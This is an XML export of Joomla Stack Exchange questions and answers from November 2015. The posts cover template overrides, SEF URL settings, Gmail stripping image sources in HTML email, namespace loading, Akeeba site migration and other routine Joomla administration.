  <row Id="14337" PostTypeId="2" ParentId="14336" CreationDate="2015-11-17T09:33:27.040" Score="1" Body="&lt;p&gt;Not sure what do you mean with heading page.&lt;/p&gt;&#xA;&lt;p&gt;Regarding showing the title twice, I guess you have the options set to display the article title. In the options of that menu item, set article title to &lt;strong&gt;Not show&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Other than that, it's possible that your template has overrides for the com_content, that manipulate the output of your article pages.&lt;/p&gt;&#xA;&lt;p&gt;To identify if this is the case, assign temporary the default Joomla template (protostar) for that menu item and see what you get in the front-end.&lt;/p&gt;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;It's your template that is doing this. There are template overrides, that are using the browser title of the menu item for the page you are looking and injecting it to the breadcrumbs content block.&lt;/p&gt;&#xA;&lt;p&gt;I think there should be interesting things happening in your template.&#xA;Without knowing how your template is structured, a blind guess is that you might be able to spot the part of code in the template's index.php file, using FTP.&lt;/p&gt;&#xA;&lt;p&gt;You are looking for the part that is outputting:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1 class=&amp;quot;titlePage&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you can spot this part of code, grab it (and a bit of its surroundings +- 3,4 lines) and paste it in your question for further investigation.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-17T10:11:40.020" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="14338" PostTypeId="1" AcceptedAnswerId="14339" CreationDate="2015-11-17T09:45:17.947" Score="0" ViewCount="1111" Body="&lt;p&gt;I'm trying to understand the way Joomla handles URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've activated what they call &quot;Search Engine Friendly URLs&quot;. But it appears that a page (or an &quot;Article&quot; only gets such a URL once I link it from a menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other menu items are fine, but when I try to insert a new one then the url is change (&lt;a href=&quot;http://www.grundtvig.as/forside-general/uncategorised/blisterpakning&quot; rel=&quot;nofollow&quot;&gt;http://www.grundtvig.as/forside-general/uncategorised/blisterpakning&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the above link like this one: &lt;a href=&quot;http://www.grundtvig.as/blisterpakning&quot; rel=&quot;nofollow&quot;&gt;http://www.grundtvig.as/blisterpakning&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="5195" LastEditorUserId="126" LastEditDate="2015-11-17T10:15:54.587" LastActivityDate="2015-11-26T08:41:50.917" Title="How to change URL's for each page in joomla 3.4?" Tags="|joomla-3.x|joomla-3.4|menu-item|url|sef|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14339" PostTypeId="2" ParentId="14338" CreationDate="2015-11-17T10:18:21.083" Score="1" Body="&lt;p&gt;The quick answer for having a article with a url like this is to link it (as you already said) with a menu item.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, if you would want this happening automatically, without menu items, then you need to install a SEF extension like &lt;a href=&quot;http://extensions.joomla.org/extension/sh404sef&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;SH404SEF&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extension/joomsef&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JoomSEF&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Update after your comment about JoomSEF:&lt;/h3&gt;&#xA;&lt;p&gt;hmm.. ok - I was actually writing a more extended answer to explain basics of how Joomla deals with URLs. But since you have a SEF extension, assuming you have enable it, then it's not Joomla but the component you are using that handles the urls.&lt;/p&gt;&#xA;&lt;p&gt;So, you need to tweak the settings of JoomSEF and order it to create links directly to the root for uncategorized articles, or articles that do not have a menu item - meaning that you should set it to not include categories in the SEF URLs.&lt;/p&gt;&#xA;&lt;p&gt;Finally to deal with already created urls, you need to delete them from the JoomSEF URLs list, and have JoomSEF recreate them according to your new configuration, otherwise the old ones will continue to be used.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-26T08:41:50.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14340" PostTypeId="2" ParentId="14338" CreationDate="2015-11-17T10:32:44.057" Score="2" Body="&lt;h1&gt;Joomla SEF URLs - the background&lt;/h1&gt;&#xA;&lt;p&gt;I will try to give briefly some background info.&lt;/p&gt;&#xA;&lt;p&gt;The common way for displaying content/pages in Joomla, is to create it inside &lt;a href=&quot;https://docs.joomla.org/Extension_types_(general_definitions)#Components&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Components.&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Components provide menu items, so then you can build your navigation system and create links to pages, that will display content from the associative components.&lt;/p&gt;&#xA;&lt;p&gt;The basic content component in Joomla is the com_content, or commonly called &lt;strong&gt;Articles&lt;/strong&gt; (articles manager since recently).&lt;/p&gt;&#xA;&lt;p&gt;You create content as articles. Each article must belong to 1 content category (so to keep things organized), and then it has the ability to be shown as the main content of each page.&lt;/p&gt;&#xA;&lt;p&gt;Now, each Joomla site must have at least 1 menu item - The &lt;strong&gt;Default&lt;/strong&gt; or &lt;strong&gt;Home&lt;/strong&gt; menu item. Upon Joomla installation, this menu item comes by default and used to be a &lt;strong&gt;Featured Articles&lt;/strong&gt; menu item of the com_content component -(haven't noticed if this has changed recently - maybe it is).&lt;/p&gt;&#xA;&lt;p&gt;So actually now, you could start creating articles, set them as featured and have them displayed from the 1 single menu item of the home page.&lt;/p&gt;&#xA;&lt;p&gt;However, the dynamic nature of Joomla allows one more way to access content items of components. This is by using url parameters (using non-SEF urls) like so:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=12&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Translating this, it means that you can access the article item with id 12, of the com_content component, using the article view.&lt;/p&gt;&#xA;&lt;p&gt;In the absence of any other menu item that could take precedence over the default menu item (home), Joomla will use the default one.&lt;/p&gt;&#xA;&lt;p&gt;... to be continued on another day...&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-17T13:18:47.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14341" PostTypeId="2" ParentId="14326" CreationDate="2015-11-17T11:38:48.613" Score="1" Body="&lt;p&gt;Yup, using catching exceptions would be the best idea in my opinion, I'd then use Joomla &lt;code&gt;enqueueMessage&lt;/code&gt; function to display a user friend error message, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try&#xA;{&#xA;    // Try to do something with the image using 'JImage'&#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;    // The image was missing&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(JText::_('MISSING_IMAGE'), 'error');&#xA;&#xA;    // Error message = $e-&amp;gt;getMessage();&#xA;    // I'd then most likely log the actual PHP error to a file using 'JLog'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-11-17T14:11:41.473" LastActivityDate="2015-11-17T14:11:41.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14342" PostTypeId="2" ParentId="14305" CreationDate="2015-11-17T13:44:17.967" Score="1" Body="&lt;p&gt;It is automatic validation by your browser because &lt;code&gt;required&lt;/code&gt; attributed is set on the input field. Here is a list of browsers that support this: &lt;a href=&quot;http://caniuse.com/#feat=form-validation&quot; rel=&quot;nofollow&quot;&gt;http://caniuse.com/#feat=form-validation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2015-11-17T13:44:17.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14343" PostTypeId="2" ParentId="14272" CreationDate="2015-11-17T13:52:08.317" Score="5" Body="&lt;p&gt;Sure. For example, create &lt;code&gt;mylib&lt;/code&gt; folder in &lt;code&gt;/library&lt;/code&gt;, and a file &lt;code&gt;Myclass.php&lt;/code&gt; with the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace mylib;&#xA;&#xA;class Myclass&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can register your namespace with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JLoader::registerNamespace('mylib', JPATH_ROOT . '/libraries');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And access your class with &lt;code&gt;\mylib\Myclass&lt;/code&gt;. Personally, I create a system plugin to do it automatically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterInitialise()&#xA;{  &#xA;   JLoader::registerNamespace('mylib', JPATH_ROOT . '/libraries');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastActivityDate="2015-11-17T13:52:08.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14344" PostTypeId="1" AcceptedAnswerId="14346" CreationDate="2015-11-17T16:25:34.227" Score="0" ViewCount="359" Body="&lt;p&gt;I receive the a $BadgeImage URL from a form using &lt;code&gt;$BadgeImage = $postData-&amp;gt;get('BadgeImage', '', 'RAW');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then I inserted the link or the variable on the body of the email. However after sending the email, the user will receive all the values from the form even the badge URL. Except when the URL is inside the  tag the image is not displayed at all or it looks like the gmail strips-out the SRC attribute of  tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $body = &quot;&amp;lt;div style='font-family:arial,helvetica,sans-serif;font-size:12px;'&amp;gt;&#xA;    &amp;lt;p&amp;gt;Hi &quot;.$recipientName.&quot;,&amp;lt;/p&amp;gt;&#xA;&#xA;    **Badge image URL = $BadgeImage** &amp;lt;br/&amp;gt;&#xA;    &amp;lt;img src='&quot;.$BadgeImage.&quot;' width='150px' height='150px'/&amp;gt;&amp;lt;br/&amp;gt;&#xA;    &amp;lt;img src='.$BadgeImage.' width='150px' height='150px'/&amp;gt;&amp;lt;br/&amp;gt;&#xA;    &amp;lt;img src=&quot;.$BadgeImage.&quot; width='150px' height='150px'/&amp;gt;&amp;lt;br/&amp;gt;&#xA;    &amp;lt;img src='$BadgeImage' width='150px' height='150px'/&amp;gt;&amp;lt;br/&amp;gt;&#xA;    &amp;lt;img src=$BadgeImage width='150px' height='150px'/&amp;gt;&amp;lt;br/&amp;gt;&#xA;&#xA;    &amp;lt;hr style='border:0px;color:rgb(237,237,235);min-height:1px;width:525px;background-color:rgb(237,237,235)' /&amp;gt;&#xA;    &amp;lt;div style='font-family:arial,helvetica,sans-serif;text-align:center;font-size:10px;color:rgb(102,102,102)'&amp;gt;&#xA;    &amp;lt;p&amp;gt;This email was sent to &quot;.$badgeEarner.&quot; from the Community.&amp;lt;/p&amp;gt;&#xA;&#xA;    $senderEmail = $user-&amp;gt;email;&#xA;    $senderName = $user-&amp;gt;name;&#xA;    $sender = array($senderEmail, $senderName);&#xA;&#xA;    $mail-&amp;gt;ClearAddresses();&#xA;    $mail-&amp;gt;setSender($sender);&#xA;    $mail-&amp;gt;addRecipient($recipientEmail);&#xA;    $mail-&amp;gt;Encoding = 'base64';&#xA;    $mail-&amp;gt;setSubject(JText::_($badgeEarner.' Shared a Digital Badge'));&#xA;    $mail-&amp;gt;IsHTML(true);&#xA;    $mail-&amp;gt;setBody($body);&#xA;&#xA;    $send = $mail-&amp;gt;Send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The GMAIL Results:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;:4p9&quot; class=&quot;ii gt m15116365f29ba2db adP adO&quot;&amp;gt;&amp;lt;div id=&quot;:4oz&quot; class=&quot;a3s&quot; style=&quot;overflow: hidden;&quot;&amp;gt;&amp;lt;div style=&quot;font-family:arial,helvetica,sans-serif;font-size:12px&quot;&amp;gt;&amp;lt;div class=&quot;adM&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;p&amp;gt;Hi User,&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Andrew shared their badge,&#xA;    &amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Badge Info:&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;HISD Year 1 &amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;    Badge image URL = &amp;lt;a href=&quot;https://www.viflearn.com/badges/images/HISD-developing-badge.png&quot; target=&quot;_blank&quot;&amp;gt;https://www.viflearn.com/&amp;lt;wbr&amp;gt;badges/images/HISD-developing-&amp;lt;wbr&amp;gt;badge.png&amp;lt;/a&amp;gt; &amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;img width=&quot;150px&quot; height=&quot;150px&quot;&amp;gt;&amp;lt;br&amp;gt; &amp;lt;!-- src tag gets stripped!--&amp;gt;&#xA;    &amp;lt;img width=&quot;150px&quot; height=&quot;150px&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;    &amp;lt;img width=&quot;150px&quot; height=&quot;150px&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;    &amp;lt;img width=&quot;150px&quot; height=&quot;150px&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;    &amp;lt;img width=&quot;150px&quot; height=&quot;150px&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;    Badge description: Teacher completed 1st year of VIF Global Gateway program&amp;lt;br&amp;gt;&#xA;    Badge issued: 2015-07-28 19:39:43&amp;lt;br&amp;gt;&#xA;    Badge evidence: &amp;lt;a href=&quot;https://www.viflearn.com/index.php/component/k2/item/18804&quot; target=&quot;_blank&quot;&amp;gt;https://www.viflearn.com/&amp;lt;wbr&amp;gt;index.php/component/k2/item/&amp;lt;wbr&amp;gt;18804&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;    Badge criteria: &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;You can view the badge at:&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;https://viflearn.com&quot; target=&quot;_blank&quot;&amp;gt;VIF's Learning Center&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Have a nice day!&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;hr style=&quot;border:0px;color:rgb(237,237,235);min-height:1px;width:525px;background-color:rgb(237,237,235)&quot;&amp;gt;&#xA;    &amp;lt;div style=&quot;font-family:arial,helvetica,sans-serif;text-align:center;font-size:10px;color:rgb(102,102,102)&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;This email was sent to the Community.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;© 2016 .&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;yj6qo&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7290" LastEditorUserId="126" LastEditDate="2015-11-20T18:28:22.993" LastActivityDate="2015-11-20T18:28:22.993" Title="Mail-&gt; strips the &lt;IMG&gt; tag SRC attribute" Tags="|joomla-3.x|emails|email-template|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14345" PostTypeId="1" CreationDate="2015-11-17T16:38:31.210" Score="2" ViewCount="1106" Body="&lt;p&gt;Which is the correct/best method of calling model methods inside view.html.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mydata = $this-&amp;gt;get('MyData') ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel() ;&#xA;$mydata = $model-&amp;gt;getMyData() ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I feel is the Method 2 is the best because I can even pass arguments to the model (if required). &lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2015-11-17T20:50:13.897" LastActivityDate="2015-11-20T08:43:41.660" Title="Correct / Best way of calling model methods inside view.html.php" Tags="|joomla-3.4|view|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14346" PostTypeId="2" ParentId="14344" CreationDate="2015-11-17T17:06:25.583" Score="0" Body="&lt;p&gt;I found what was the problem. GMAIL is stripping the source attribute, so until you allow to display images then it gets embedded in the tag and finally you can see the image.&lt;/p&gt;&#xA;" OwnerUserId="7290" LastActivityDate="2015-11-17T17:06:25.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14347" PostTypeId="1" AcceptedAnswerId="14348" CreationDate="2015-11-17T18:34:30.623" Score="2" ViewCount="175" Body="&lt;p&gt;I've never used github before although I was aware of it long time ago. More and more I feel the need to version control my joomla site. For example, sometimes I change lots of js/php/css files to try a new layout or new function, but later I decide it doesn't work out, so I need to go back to the old version. At this stage, I would have to do a lot of work to restore the site to a previous version. I am imagining with github it would be a lot easier. But the question is, how can I make my joomla site working with github? I don't even know if it is viable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know github is being used on module/component development, but can I use it on a whole website? Or just a small part of my website? Can I form a repository from a cutsom js file and a PHP file from one of the modules and a custom CSS file? Does anyone actually use github this way?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2015-11-17T19:03:10.843" Title="Joomla site working with github(or any other version control system)" Tags="|github|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14348" PostTypeId="2" ParentId="14347" CreationDate="2015-11-17T19:03:10.843" Score="4" Body="&lt;p&gt;You can of course use it for your website and is an amazing tool to track everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make your js changes and commit them so you can revert only your js changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to first setup a GIT Repo see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://help.github.com/articles/create-a-repo/&quot; rel=&quot;nofollow&quot;&gt;https://help.github.com/articles/create-a-repo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once setup you can import all the files of your current working site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once imported you can start tracking changes and so on, here is an intro to GIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sitepoint.com/git-for-beginners/&quot; rel=&quot;nofollow&quot;&gt;http://www.sitepoint.com/git-for-beginners/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to make changes do it, when you have finished zip it up and replace your site with the edited files. You therefore always have a record of changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would personally suggest an ide for coding, like net beans for a free editor, or phpstorm which is my favourite buy a paid for IDE, it naturally shows deprecated functions and classes when creating a project with the whole Joomla! Site helping keep your code up to date and easily pointing out errors.&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-17T19:03:10.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14349" PostTypeId="1" AcceptedAnswerId="14350" CreationDate="2015-11-17T19:08:15.100" Score="0" ViewCount="247" Body="&lt;p&gt;Like we can edit &lt;code&gt;wp-login.php&lt;/code&gt; in root folder of Wordpress to customize/change its login page, I would like to know the file name and its location where the HTML form of login page is written in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add an OnClick function to the username field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;login&quot; onlick=(test_function)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7291" LastEditorUserId="1629" LastEditDate="2015-11-18T00:27:49.130" LastActivityDate="2015-11-18T00:27:49.130" Title="Customize Joomla Login Page from Core" Tags="|login|wordpress|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14350" PostTypeId="2" ParentId="14349" CreationDate="2015-11-17T21:27:02.800" Score="0" Body="&lt;p&gt;To put it quite simply then (based on your comment), the file you're looking for is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;modules/mod_login/tmpl/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would suggest however, you perform a &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;Template Override&lt;/a&gt; to edit this file, rather than editing the core. It will prevent your changes being overridden in a Joomla update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-17T21:27:02.800" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14351" PostTypeId="1" CreationDate="2015-11-18T04:28:19.823" Score="0" ViewCount="116" Body="&lt;p&gt;Here are the steps I followed -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloaded new template &lt;/li&gt;&#xA;&lt;li&gt;Automatically the new template became the default one&lt;/li&gt;&#xA;&lt;li&gt;I reverted back to old template&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result - Module position (main menu) get changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to understand the reason why this is happening....&#xA;&lt;br/&gt;&lt;strong&gt;New Issue :&lt;/strong&gt; &lt;BR/&gt;&#xA;I tried to make a copy of my joomla site to another folder and decided to work with new template in the new folder . So there are two folders - one original and another copy. Now I started working with copy folder,and change the default template as new one and updated module positions accordingly...but when I opened the joomla site with the old version , all the changes that I made in new folder is here! I went to back-end for the older version and see that the new template is default set for old site also..why this is happening. As I expect it to be set with the old template and the new folder only with new template. &#xA;Please help, I know I must be making some blunder here but unable to understand. Is this because both are pointing to same DB?&#xA;Old template - Breeze3&#xA;New template - Corsa &#xA;This is just done for learning purpose. But stuck with the situation that I am not able to maintain separate copy of same site with different template.&lt;/p&gt;&#xA;" OwnerUserId="7210" LastEditorUserId="7210" LastEditDate="2015-11-23T18:08:34.033" LastActivityDate="2015-11-25T15:56:52.700" Title="Module position get disturbed after i download new template but keep the old one as default" Tags="|module|templates|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14352" PostTypeId="2" ParentId="14351" CreationDate="2015-11-18T06:44:00.963" Score="0" Body="&lt;p&gt;Check the position of the menu for New template whether it is correctly named or the position you are using for new template is given the new template one or the old template.&lt;/p&gt;&#xA;" OwnerUserId="7292" LastActivityDate="2015-11-18T06:44:00.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14353" PostTypeId="1" CreationDate="2015-11-18T08:53:10.750" Score="2" ViewCount="1722" Body="&lt;p&gt;When trying to log in I am seeing the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JAuthentication: :authenticate: Failed to load plugin: plgauthenticationcookie Invalid password&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am not able to log into the back end with any users. (Version Joomla 2.5)&#xA;Does anyone know where I should check to try to fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="5195" LastEditorUserId="168" LastEditDate="2015-11-18T10:06:40.397" LastActivityDate="2017-01-12T23:05:18.813" Title="JAuthentication: :authenticate: Failed to load plugin: plgauthenticationcookie Invalid password" Tags="|joomla-2.5|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14354" PostTypeId="2" ParentId="14353" CreationDate="2015-11-18T10:11:12.713" Score="2" Body="&lt;p&gt;Having done some research on the topic, I found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=624&amp;amp;t=659815&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=624&amp;amp;t=659815&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution provided by the author says to completely removed the &lt;strong&gt;plugins&lt;/strong&gt; directory and replace it with a fresh copy from a new copy of Joomla, which you can download here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/2.5.28/Joomla_2.5.28-Stable-Full_Package.zip&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/releases/download/2.5.28/Joomla_2.5.28-Stable-Full_Package.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-18T10:11:12.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14355" PostTypeId="1" AcceptedAnswerId="14356" CreationDate="2015-11-18T13:28:11.023" Score="3" ViewCount="846" Body="&lt;p&gt;I recently set up a joomla site on &lt;code&gt;demojoomla.com&lt;/code&gt; and started entering data to check a proof of concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following that phase, I bought a hosting package at Strato.de where I am able to setup a joomla application with one click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the demo site does not contain a huge amount of data, and in theory I could set it up again by hand, I would really like to transfer everything automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a backup using &lt;code&gt;Akeeba&lt;/code&gt; but am not sure if I can just copy it into the new joomla site and restore it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using kickstart.php but that failed due to missing MySQL configuration. I have no idea what I could do to fix that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best approach here?&lt;/p&gt;&#xA;" OwnerUserId="7193" LastActivityDate="2015-11-24T01:59:53.997" Title="How to transfer a joomla content to another server?" Tags="|joomla-3.x|installation|akeebabackup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14356" PostTypeId="2" ParentId="14355" CreationDate="2015-11-18T13:33:58.490" Score="3" Body="&lt;p&gt;Any data created in Joomla is stored in the database. This means that when taking a backup using Akeeba, you &lt;strong&gt;must&lt;/strong&gt; also take a backup of the database, else, you're only restoring the files, without the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backup file (JPA file) will contain the entire Joomla CMS + any install extensions + the database. Therefore on your new hosting provider, &lt;em&gt;you do not need to install Joomla using the 1 click feature&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to ensure that your destination server is set-up properly to install Joomla, including setting up a database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply upload the JPA file and kickstart to the directory of your choice, then run the restoration process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As part of the restoration process, the installer will ask you for the new database information.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="27" LastEditDate="2015-11-23T21:19:27.350" LastActivityDate="2015-11-23T21:19:27.350" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14357" PostTypeId="1" CreationDate="2015-11-18T14:01:48.320" Score="5" ViewCount="284" Body="&lt;p&gt;I am building a website to sell Joomla templates on but can't find a viable solution for users to see a live preview... any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the template changer extension and it works but is a bit clunky. I was hoping for something like a direct link/url that sets the default template. I know how to make a link to call the template &lt;code&gt;?template=template_name&lt;/code&gt; but when you navigate a link it returns to the default template.&lt;/p&gt;&#xA;" OwnerUserId="7296" LastEditorUserId="1629" LastEditDate="2015-11-18T15:30:04.060" LastActivityDate="2015-11-18T15:30:04.060" Title="How do you make a live preview site for selling Joomla templates" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
